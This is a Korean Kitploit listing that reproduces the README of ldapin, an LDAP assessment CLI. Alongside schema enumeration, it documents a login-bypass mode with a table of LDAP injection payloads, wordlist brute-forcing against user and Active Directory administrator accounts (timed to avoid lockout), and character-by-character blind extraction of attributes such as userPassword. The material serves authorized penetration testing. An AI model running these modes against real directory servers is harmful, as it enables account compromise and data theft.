Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ldapin — 보안 평가를 위한 기본 LDAP 작업을 수행하는 CLI 도구 | Kitploit
도구/GitHubGitHub/affolter-engineering/ldapin
ReconnaissancePassword AttacksVulnerability AnalysisInformation GatheringPenetration TestingAuthentication
GitHubaffolter-engineering/ldapin

ldapin

보안 평가를 위한 기본 LDAP 작업을 수행하는 CLI 도구

저장소 보기
1293일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ldapin

LDAP 서버의 subschema를 쿼리하여 유효한 LDAP 필드를 발견하는 CLI 도구입니다. 서버에서 attributeTypes와 objectClasses를 직접 읽어오므로, 결과는 항상 서버가 실제로 지원하는 내용을 반영합니다.

기능

  • OID, 구문, 카디널리티, 별칭 및 설명과 함께 모든 속성 유형 나열
  • 종류(구조적/보조적/추상적), 필수/선택 속성 및 상위 클래스 체인과 함께 모든 객체 클래스 나열
  • 이름 또는 설명에 대한 부분 문자열 필터
  • 세 가지 출력 형식: table, JSON, CSV
  • 익명 및 인증(단순) 바인드
  • 일반 LDAP, LDAPS 및 STARTTLS

설치

Nix (권장)

# 설치 없이 바로 실행
nix run github:your-user/ldapin

# 또는 빌드 후 ./result/bin/ldapin에 링크
nix build github:your-user/ldapin

Nix 또는 NixOS 사용자를 위한 패키지가 제공됩니다. 최신 릴리스는 unstable 채널에만 있을 수 있다는 점을 유의하세요.

nix-env -iA nixos.lapin

로컬 체크아웃에서:

nix run .
nix build .

Cargo

cargo install --path .

사용법

ldapin [OPTIONS]

Options:
  -H, --host <HOST>           LDAP 서버 URL [기본값: ldap://localhost:389]
  -D, --bind-dn <BIND_DN>     바인드 DN (익명 바인드의 경우 생략)
  -w, --password <PASSWORD>   바인드 비밀번호
  -W, --prompt-password       바인드 비밀번호를 대화식으로 입력
  -f, --filter <FILTER>       이름 또는 설명에 대한 부분 문자열 필터
  -c, --object-class <NAME>   특정 객체 클래스로 제한 (-m object-classes와 함께 사용)
  -m, --mode <MODE>           표시할 내용: attributes, object-classes, both [기본값: attributes]
  -o, --output <OUTPUT>       출력 형식: table, json, csv [기본값: table]
  -b, --base-dn <BASE_DN>     검색할 기본 DN (--mode login-bypass에 필요)
      --user-attr <ATTR>      login-bypass 프로브용 사용자 속성 이름 [기본값: uid]
      --pass-attr <ATTR>      login-bypass 프로브용 비밀번호 속성 이름 [기본값: userPassword]
  -u, --target-user <USER>    login-bypass 프로브용 대상 사용자 이름
      --starttls              STARTTLS로 연결 업그레이드
      --insecure              TLS 인증서 검증 건너뛰기
  -h, --help                  도움말 출력
  -V, --version               버전 출력

예제

로컬 서버의 모든 속성 유형 나열:

ldapin

인증 후 모든 객체 클래스 나열:

ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes

mail과 관련된 모든 속성 찾기:

ldapin -H ldap://ldap.example.org -f mail

JSON으로 모든 항목 표시:

ldapin -H ldaps://ldap.example.org -m both -o json

모든 속성을 CSV로 내보내기:

ldapin -H ldap://ldap.example.org -o csv > attributes.csv

inetOrgPerson 객체 클래스 항목 표시:

ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson

STARTTLS로 연결:

ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W

ForumSys 공개 LDAP 서버로 테스트하기

ForumSys는 테스트에 적합한 무료 읽기 전용 LDAP 서버를 제공합니다.

매개변수값
Hostldap.forumsys.com
Port389
Bind DNcn=read-only-admin,dc=example,dc=com
Passwordpassword
Base DNdc=example,dc=com

모든 속성 유형 나열 (익명 바인드):

ldapin -H ldap://ldap.forumsys.com

모든 속성 유형 나열 (인증):

ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password

모든 객체 클래스 나열:

ldapin -H ldap://ldap.forumsys.com -m object-classes

inetOrgPerson 객체 클래스 표시:

ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson

이름으로 속성 필터링:

ldapin -H ldap://ldap.forumsys.com -f mail

모든 항목을 JSON으로 내보내기:

ldapin -H ldap://ldap.forumsys.com -m both -o json

로그인 우회 테스트

login-bypass 모드는 LDAP 서버의 필터 인젝션 취약점을 프로브합니다. 알려진 LDAP 인젝션 기법에서 파생된 11개의 페이로드를 구성하고, 어떤 페이로드가 항목을 반환하는지 보고합니다. 이는 취약한 웹 애플리케이션이 정제되지 않은 사용자 입력으로 인증 필터를 구성할 경우 생성할 수 있는 것과 동일한 결과입니다.

# 익명 바인드로 프로브, any-user 페이로드
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com

# 특정 계정 프로브
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein

# Active Directory. sAMAccountName과 unicodePwd 사용
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
  --user-attr sAMAccountName --pass-attr unicodePwd -u administrator

# 스크립팅용 JSON 출력
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json

테스트된 페이로드:

페이로드필터 템플릿
wildcard-both(&(uid=*)(userPassword=*))
wildcard-password(&(uid=TARGET)(userPassword=*))
negate-password(&(uid=TARGET)(!(userPassword=void)))
or-always-true(|(uid=*)(uid=TARGET))
double-or-inject(|(uid=*)(uid=*))
and-tautology(&(uid=TARGET)(|(userPassword=*)(userPassword=*)))
objectclass-wildcard(&(uid=*)(objectClass=*))
not-nonexistent(!(&(uid=__ldapin_nonexistent__)))
empty-password(&(uid=TARGET)(userPassword=))
wildcard-user-prefix(&(uid=TARGET*)(userPassword=*))
bare-user-wildcard(uid=*)

ForumSys 예제

ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com

사전 공격

brute-force 모드는 먼저 LDAP 검색을 통해 대상 사용자의 전체 DN을 확인한 다음, 워드리스트의 모든 줄에 대해 simple_bind(dn, password)를 시도하고 첫 번째 성공에서 중단합니다.

필수 플래그: -b / --base-dn, -u / --target-user, --wordlist.

# 기본 사전 공격
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt

# 잠금 임계값 이하로 유지하기 위해 시도 사이에 500ms 지연
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500

# Active Directory (sAMAccountName 사용)
ldapin -H ldap://dc.corp -m brute-force \
  -b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
  --wordlist passwords.txt

# JSON 출력
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json

진행 상황(DN 확인, 시도 횟수, 결과)은 stderr에 기록되고, 결과는 stdout으로 출력되므로 -o json과 -o csv가 깔끔하게 파이프됩니다.

ForumSys 예제

# 알려진 비밀번호로 작은 워드리스트 생성
echo password > /tmp/test.txt

ldapin -H ldap://ldap.forumsys.com -m brute-force \
  -b dc=example,dc=com -u einstein --wordlist /tmp/test.txt

블라인드 속성 추출

blind-extract 모드는 와일드카드 접미사 필터로 반복적으로 프로브하여 읽을 수 있는 모든 속성의 값을 한 문자씩 복구합니다:

(&(uid=TARGET)(mail=a*))   -> 항목 없음
(&(uid=TARGET)(mail=e*))   -> 항목 발견 -> 'e'
(&(uid=TARGET)(mail=ei*))  -> 항목 발견 -> 'ei'
...

이것은 정제되지 않은 입력으로 LDAP 필터를 구성하는 취약한 웹 애플리케이션에 대해 사용되는 고전적인 블라인드 인젝션 루프의 직접 LDAP 등가물입니다.

필수 플래그: -b / --base-dn, -u / --target-user, --extract-attr.

# 사용자 "einstein"의 mail 속성 추출
ldapin -H ldap://target -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr mail

# 사용자 정의 문자 집합으로 추출
ldapin -H ldap://target -m blind-extract \
  -b dc=example,dc=com -u jdoe --extract-attr userPassword \
  --charset 'abcdefghijklmnopqrstuvwxyz0123456789!@#$'

# JSON 출력
ldapin -H ldap://target -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr mail -o json

문자가 발견될 때마다 진행 상황이 stderr에 기록되므로, 파이핑 또는 -o json / -o csv 사용을 위해 stdout은 깨끗하게 유지됩니다.

ForumSys 예제

ldapin -H ldap://ldap.forumsys.com -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr mail

ldapin -H ldap://ldap.forumsys.com -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr telephoneNumber \
  --charset '0123456789-'

개발

Rust 도구, rust-analyzer, rustfmt 및 clippy가 포함된 셸에 진입:

nix develop

그런 다음 정상적으로 빌드하고 실행:

cargo build
cargo run -- --help

Autor

  • Fabian Affolter (@fabaff)

License

MIT

도구 다운로드